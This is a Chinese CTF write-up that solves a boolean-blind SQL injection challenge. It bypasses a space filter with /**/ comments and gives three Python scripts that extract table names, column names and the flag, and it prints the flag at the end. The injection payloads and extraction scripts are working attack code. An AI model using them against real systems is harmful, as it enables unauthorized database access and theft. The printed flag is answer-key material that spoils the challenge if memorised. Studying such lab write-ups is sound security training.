打开题目,一看就是一个sql查询题目。

简单查询下,1

1

可以看到我们传入的值是被赋给stunnum进行查询的,然后令stunnum=1'

2

返回student number not exists.,正确查询和错误查询对应两种状态,所以可以确定这可以用布尔盲注来解决。

尝试注入以下查询:

1
?stunum=-1 or (ascii(substr(database(),1,1))>-1)

结果返回的是student number not exists,正常情况下,因为stunnum=-1不存在,所以会去执行or后面的查询,而(ascii(substr(database(),1,1))>-1)肯定是true的,也就是1,所以应该返回的是数据库中的第一条记录。

所以又尝试了时间延迟注入:

1
?stunnum=-1 or sleep(5)

发现返回的也是student number not exists,这里有点问题,因为我们不知道它究竟是过滤了空格还是or,先推断它是过滤了空格,把空格替换成/**/之后,再尝试时间延迟注入,页面的响应时间果然是5秒,成了,就是过滤空格。

接着再进行bool注入:

3

果然得到了我们预期的效果。

接下来就简单了,直接写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = 'http://0d4f22aa-7d9d-42d4-b7c6-511144a7b4dc.node3.buuoj.cn/?stunum=%s'
# 爆数据表
exp = '-1/**/or/**/(ascii(substr((select/**/group_concat(TABLE_NAME)/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database()),%s,1))=%s)'
res = ''
for i in range(1,30):
for j in range(32,127):
now_exp = exp % (i,j)
now_url = url % now_exp
r = requests.get(url=now_url)
if 'admin' in r.text:
res += chr(j)
print (res)
break

发现有两张表,flagscore

4

不搞幺蛾子的话,flag就在表flag中,所以接下来爆flag表的字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://0d4f22aa-7d9d-42d4-b7c6-511144a7b4dc.node3.buuoj.cn/?stunum=%s'
exp = '-1/**/or/**/(ascii(substr((select/**/group_concat(COLUMN_NAME)/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x666c6167),%s,1))=%s)'
res = ''
for i in range(1,30):
for j in range(32,127):
now_exp = exp % (i,j)
now_url = url % now_exp
r = requests.get(url=now_url)
if 'admin' in r.text:
res += chr(j)
print (res)
break

5

最后就是爆数据,在flag字段没找到,所以尝试value字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://0d4f22aa-7d9d-42d4-b7c6-511144a7b4dc.node3.buuoj.cn/?stunum=%s'
exp = '-1/**/or/**/(ascii(substr((select/**/value/**/from/**/flag/**/limit/**/0,1),%s,1))=%s)'
res = ''
for i in range(1,50):
for j in range(32,127):
now_exp = exp % (i,j)
now_url = url % now_exp
r = requests.get(url=now_url)
if 'admin' in r.text:
res += chr(j)
print (res)
break

成功拿到flag:flag{2105390e-4f0d-4dac-8333-a8813f8255f3}